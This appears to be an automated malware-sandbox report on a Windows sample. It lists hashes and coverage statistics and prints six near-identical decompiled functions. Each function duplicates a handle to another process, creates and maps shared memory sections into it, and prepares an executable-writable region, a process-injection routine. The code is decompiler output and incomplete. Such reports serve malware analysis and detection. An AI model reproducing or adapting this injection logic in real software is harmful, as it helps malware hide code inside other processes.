API String ID: 989085358-1018135373
Opcode ID: 2bcf526534d84440a1d74fd0b089d06bbe8278e6a2fb0f241b80fc6935665840
Instruction ID: 589554cbe101abdec6479dd06ff32a3fe8de771eaf826da5da891be04775fa4a
Opcode Fuzzy Hash: 2bcf526534d84440a1d74fd0b089d06bbe8278e6a2fb0f241b80fc6935665840
Instruction Fuzzy Hash: 110178718062059BCF349FA1C4446AEB3B5AF10314F64843FE481BA7E2CB399D90CA18

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: uehwfhtPID: 3984, Parent PID: 1088COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	83.9%
Signature Coverage:	0%
Total number of Nodes:	62
Total number of Limit Nodes:	2

Executed Functions

Function 00401558 Relevance: 10.7, APIs: 7, Instructions: 206
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00401558(intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				struct _EXCEPTION_RECORD _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				intOrPtr _v56;
				long _v60;
				char _v64;
				void* _v68;
				char _v72;
				void* _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* __edi;
				intOrPtr _t87;
				struct _EXCEPTION_RECORD _t90;
				intOrPtr _t91;
				struct _GUID _t97;
				struct _GUID _t99;
				long _t100;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t183;
				intOrPtr* _t184;
				HANDLE* _t185;
				HANDLE* _t186;
				intOrPtr _t199;
				void* _t200;
				intOrPtr* _t201;
				void* _t205;

				_push(0x387);
				_t201 = _t200 + 4;
				_push(0x83);
				L004011F5(_t175, _t205);
				_t127 = _a4;
				_t176 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				_v96 = _t87;
				_t183 =  &_v100;
				 *_t183 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t183);
				_t90 =  *_t183;
				if(_t90 != 0) {
					_t132 =  &_v52;
					 *_t132 = _t90;
					 *(_t132 + 4) = _t176;
					_t184 =  &_v44;
					 *((intOrPtr*)(_t127 + 0x10))(_t184, 0x18);
					 *_t184 = 0x18;
					_push( &_v52);
					_push(_t184);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t176, _t176, 2) == 0) {
						_v12 = _t176;
						_t97 =  &_v84;
						 *(_t97 + 4) = _t176;
						 *_t97 = 0x5000;
						_t185 =  &_v88;
						if(NtCreateSection(_t185, 6, _t176, _t97, 4, 0x8000000, _t176) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t121 =  &_v72;
							 *_t121 = _t176;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t121, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
								_t123 =  &_v64;
								 *_t123 = _t176;
								if(NtMapViewOfSection( *_t185, _v16, _t123, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
									_t199 = _v72;
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t199, 0x104);
									 *((intOrPtr*)(_t199 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t99 =  &_v84;
						 *(_t99 + 4) = _t176;
						 *_t99 = _a12 + 0x10000;
						_t186 =  &_v92;
						_t100 = NtCreateSection(_t186, 0xe, _t176, _t99, 0x40, 0x8000000, _t176);
						if (_t100 != 0) goto L67;
						 *_t100 =  *_t100 + _t100;
					}
				}
				_push(0x15a4);
				_t91 =  *_t201;
				_push(0x83);
				L004011F5(_t176, _t226);
				return _t91;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction ID: 4afb5ad6e9f78dbb0f0fc4dd380045413720c66cee1019041566b0107d6eeca4
Opcode Fuzzy Hash: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction Fuzzy Hash: 2F615E71900208FBEB209F91CC49FAF7BB8EF85B14F10412AF912BA1E5D6749901DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00401564 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00401564(void* __eax, void* __edx, void* __esi) {
				intOrPtr _t89;
				struct _EXCEPTION_RECORD _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t129;
				struct _EXCEPTION_RECORD* _t135;
				void* _t179;
				struct _EXCEPTION_RECORD _t180;
				struct _EXCEPTION_RECORD* _t190;
				intOrPtr* _t192;
				HANDLE* _t193;
				HANDLE* _t194;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				void* _t216;

				_t216 = __eax + 0x15a4b8;
				_push(0x387);
				_t211 = _t210 + 4;
				_push(0x83);
				L004011F5(_t179, _t216);
				_t129 =  *((intOrPtr*)(_t208 + 8));
				_t180 = 0;
				 *((intOrPtr*)(_t208 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t208 - 0x34)) =  *((intOrPtr*)(_t208 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t89;
				_t190 = _t208 - 0x60;
				 *_t190 = _t180;
				 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t190);
				_t92 =  *_t190;
				if(_t92 != 0) {
					_t135 = _t208 - 0x30;
					 *_t135 = _t92;
					 *(_t135 + 4) = _t180;
					_t192 = _t208 - 0x28;
					 *((intOrPtr*)(_t129 + 0x10))(_t192, 0x18);
					 *_t192 = 0x18;
					_push(_t208 - 0x30);
					_push(_t192);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t180, _t180, 2) == 0) {
						 *(_t208 - 8) = _t180;
						_t99 = _t208 - 0x50;
						 *(_t99 + 4) = _t180;
						 *_t99 = 0x5000;
						_t193 = _t208 - 0x54;
						if(NtCreateSection(_t193, 6, _t180, _t99, 4, 0x8000000, _t180) == 0) {
							 *_t25 =  *(_t208 - 0x50);
							_t123 = _t208 - 0x44;
							 *_t123 = _t180;
							if(NtMapViewOfSection( *_t193, 0xffffffff, _t123, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
								_t125 = _t208 - 0x3c;
								 *_t125 = _t180;
								if(NtMapViewOfSection( *_t193,  *(_t208 - 0xc), _t125, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
									_t207 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t129 + 0x20))(_t180, _t207, 0x104);
									 *((intOrPtr*)(_t207 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t180;
						 *_t101 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t194 = _t208 - 0x58;
						_t102 = NtCreateSection(_t194, 0xe, _t180, _t101, 0x40, 0x8000000, _t180);
						if (_t102 != 0) goto L66;
						 *_t102 =  *_t102 + _t102;
					}
				}
				_push(0x15a4);
				_t93 =  *_t211;
				_push(0x83);
				L004011F5(_t180, _t237);
				return _t93;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction ID: 3c61d4fa49215657d74707620d36eaa57d50516e3f831c539a14d6838cb40392
Opcode Fuzzy Hash: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction Fuzzy Hash: 23513CB1900249FBEB209F91CC49FAF7BB8EF85710F14412AF911BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401577 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E00401577() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				void* _t204;
				intOrPtr* _t205;
				void* _t210;

				asm("repe push 0x387");
				_push(0x387);
				_t205 = _t204 + 4;
				_push(0x83);
				L004011F5(_t175, _t210);
				_t126 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L63;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t205;
				_push(0x83);
				L004011F5(_t176, _t231);
				return _t90;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction ID: ba3189e89dbc592d8eefb072767128172b6b3105eb2a85c49d1307986ab5c8dd
Opcode Fuzzy Hash: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction Fuzzy Hash: 9D511B71900249BFEB209F91CC48FAF7BB8FF85B14F10412AFA11BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401523 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401523(void* __eax, void* __esi, void* __eflags) {
				long _t89;
				long _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				long _t100;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				long _t124;
				PVOID* _t125;
				long _t126;
				intOrPtr _t129;
				long* _t134;
				void* _t176;
				struct _EXCEPTION_RECORD _t177;
				struct _EXCEPTION_RECORD* _t187;
				intOrPtr* _t189;
				HANDLE* _t190;
				HANDLE* _t191;
				void* _t204;
				void* _t205;
				intOrPtr* _t207;

				asm("outsd");
				asm("out 0x70, al");
				if(__eflags > 0) {
					L004011F5(_t176, __eflags);
					_t129 =  *((intOrPtr*)(_t205 + 8));
					_t177 = 0;
					 *(_t205 - 0x34) = 0;
					__eflags = gs;
					if(gs != 0) {
						_t4 = _t205 - 0x34;
						 *_t4 =  *(_t205 - 0x34) + 1;
						__eflags =  *_t4;
					}
					while(1) {
						_t89 =  *((intOrPtr*)(_t129 + 0x48))();
						__eflags = _t89;
						if(_t89 != 0) {
							break;
						}
						 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
					}
					 *(_t205 - 0x5c) = _t89;
					_t187 = _t205 - 0x60;
					 *_t187 = _t177;
					 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t187);
					_t92 =  *_t187;
					__eflags = _t92;
					if(__eflags != 0) {
						_t134 = _t205 - 0x30;
						 *_t134 = _t92;
						_t134[1] = _t177;
						_t189 = _t205 - 0x28;
						 *((intOrPtr*)(_t129 + 0x10))(_t189, 0x18);
						 *_t189 = 0x18;
						__eflags =  *((intOrPtr*)(_t129 + 0x70))(_t205 - 0x10, 0x40, _t189, _t205 - 0x30);
						if(__eflags == 0) {
							__eflags = NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, _t177, _t177, 2);
							if(__eflags == 0) {
								 *(_t205 - 8) = _t177;
								_t99 = _t205 - 0x50;
								 *(_t99 + 4) = _t177;
								 *_t99 = 0x5000;
								_t190 = _t205 - 0x54;
								_t100 = NtCreateSection(_t190, 6, _t177, _t99, 4, 0x8000000, _t177);
								__eflags = _t100;
								if(_t100 == 0) {
									 *_t26 =  *(_t205 - 0x50);
									_t123 = _t205 - 0x44;
									 *_t123 = _t177;
									_t124 = NtMapViewOfSection( *_t190, 0xffffffff, _t123, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
									__eflags = _t124;
									if(_t124 == 0) {
										_t125 = _t205 - 0x3c;
										 *_t125 = _t177;
										_t126 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t125, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
										__eflags = _t126;
										if(_t126 == 0) {
											_t204 =  *(_t205 - 0x44);
											 *((intOrPtr*)(_t129 + 0x20))(_t177, _t204, 0x104);
											 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
											_t38 = _t205 - 8;
											 *_t38 =  *(_t205 - 8) + 1;
											__eflags =  *_t38;
										}
									}
								}
								_t101 = _t205 - 0x50;
								 *(_t101 + 4) = _t177;
								 *_t101 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
								_t191 = _t205 - 0x58;
								_t102 = NtCreateSection(_t191, 0xe, _t177, _t101, 0x40, 0x8000000, _t177);
								__eflags = _t102;
								if (_t102 != 0) goto L60;
								 *_t102 =  *_t102 + _t102;
								__eflags =  *_t102;
							}
						}
					}
					_push(0x15a4);
					_t93 =  *_t207;
					_push(0x83);
					L004011F5(_t177, __eflags);
					return _t93;
				} else {
					asm("popfd");
					asm("repe add al, 0x9b");
					asm("wait");
					asm("wait");
					return __esi;
				}
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: Section$View$CreateDuplicateObject
String ID:
API String ID: 3617974760-0
Opcode ID: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction ID: c9dca56e4daa214b2bd9150ebf0f157daf6c833c296841cdcd3f7df5e4c146b1
Opcode Fuzzy Hash: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction Fuzzy Hash: 91510A71900249BFEB209F92CC48F9FBBB8FF85B14F14411AFA11BA2A5D7749945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040158C Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040158C(void* __eax, void* __edi) {
				void* _t89;
				intOrPtr _t91;
				struct _EXCEPTION_RECORD _t94;
				intOrPtr _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				long _t104;
				PVOID* _t125;
				PVOID* _t127;
				intOrPtr _t131;
				struct _EXCEPTION_RECORD* _t136;
				void* _t180;
				struct _EXCEPTION_RECORD _t181;
				struct _EXCEPTION_RECORD* _t189;
				intOrPtr* _t191;
				HANDLE* _t192;
				HANDLE* _t193;
				void* _t206;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				intOrPtr _t216;

				_t211 = _t210 + 1;
				asm("clc");
				asm("stc");
				_t89 = _t207;
				_t208 = __eax;
				_t180 = __edi - 1;
				_t2 = _t89 - 0x7d;
				 *_t2 =  *((intOrPtr*)(_t89 - 0x7d));
				_t216 =  *_t2;
				_push(0x83);
				L004011F5(_t180, _t216);
				_t131 =  *((intOrPtr*)(__eax + 8));
				_t181 = 0;
				 *((intOrPtr*)(__eax - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(__eax - 0x34)) =  *((intOrPtr*)(__eax - 0x34)) + 1;
				}
				while(1) {
					_t91 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t91 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t91;
				_t189 = _t208 - 0x60;
				 *_t189 = _t181;
				 *((intOrPtr*)(_t131 + 0x4c))(_t91, _t189);
				_t94 =  *_t189;
				if(_t94 != 0) {
					_t136 = _t208 - 0x30;
					 *_t136 = _t94;
					 *(_t136 + 4) = _t181;
					_t191 = _t208 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t191, 0x18);
					 *_t191 = 0x18;
					_push(_t208 - 0x30);
					_push(_t191);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t181, _t181, 2) == 0) {
						 *(_t208 - 8) = _t181;
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t181;
						 *_t101 = 0x5000;
						_t192 = _t208 - 0x54;
						if(NtCreateSection(_t192, 6, _t181, _t101, 4, 0x8000000, _t181) == 0) {
							 *_t28 =  *(_t208 - 0x50);
							_t125 = _t208 - 0x44;
							 *_t125 = _t181;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t125, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
								_t127 = _t208 - 0x3c;
								 *_t127 = _t181;
								if(NtMapViewOfSection( *_t192,  *(_t208 - 0xc), _t127, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
									_t206 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t181, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t103 = _t208 - 0x50;
						 *(_t103 + 4) = _t181;
						 *_t103 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t193 = _t208 - 0x58;
						_t104 = NtCreateSection(_t193, 0xe, _t181, _t103, 0x40, 0x8000000, _t181);
						if (_t104 != 0) goto L60;
						 *_t104 =  *_t104 + _t104;
					}
				}
				_push(0x15a4);
				_t95 =  *_t211;
				_push(0x83);
				L004011F5(_t181, _t237);
				return _t95;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.631306875.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_uehwfht.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction ID: 02d2e3ac3767ea31e924919402f7a0ff100aaf9667a8aefd77e34752db93229b
Opcode Fuzzy Hash: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction Fuzzy Hash: C9513AB1900249BFEB209F92CC48F9FBBB8FF85B14F10415AFA11AA1E5D7749944CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00401585 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00401585() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t185;
				intOrPtr* _t187;
				HANDLE* _t188;
				HANDLE* _t189;
				void* _t202;
				void* _t203;
				void* _t205;
				intOrPtr* _t206;
				void* _t211;

				_push(0x387);
				_t206 = _t205 + 4;
				_push(0x83);
				L004011F5(_t175, _t211);
				_t126 =  *((intOrPtr*)(_t203 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t203 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t203 - 0x34)) =  *((intOrPtr*)(_t203 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t203 - 0x5c)) = _t86;
				_t185 = _t203 - 0x60;
				 *_t185 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t185);
				_t89 =  *_t185;
				if(_t89 != 0) {
					_t132 = _t203 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t187 = _t203 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_push(_t203 - 0x30);
					_push(_t187);
					_push(0x40);
					_push(_t203 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t203 - 0x10), 0xffffffff, 0xffffffff, _t203 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t203 - 8) = _t176;
						_t96 = _t203 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t188 = _t203 - 0x54;
						if(NtCreateSection(_t188, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t203 - 0x50);
							_t120 = _t203 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t120, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t203 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t188,  *(_t203 - 0xc), _t122, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
									_t202 =  *(_t203 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t202, 0x104);
									 *((intOrPtr*)(_t202 + 0x208)) =  *((intOrPtr*)(_t203 + 0x14));
									 *(_t203 - 8) =  *(_t203 - 8) + 1;
								}
							}
						}
						_t98 = _t203 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t203 + 0x10)) + 0x10000;
						_t189 = _t203 - 0x58;
						_t99 = NtCreateSection(_t189, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L64;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t206;
				_push(0x83);
				L004011F5(_t176, _t232);
				return _t90;
			}

0x00401578
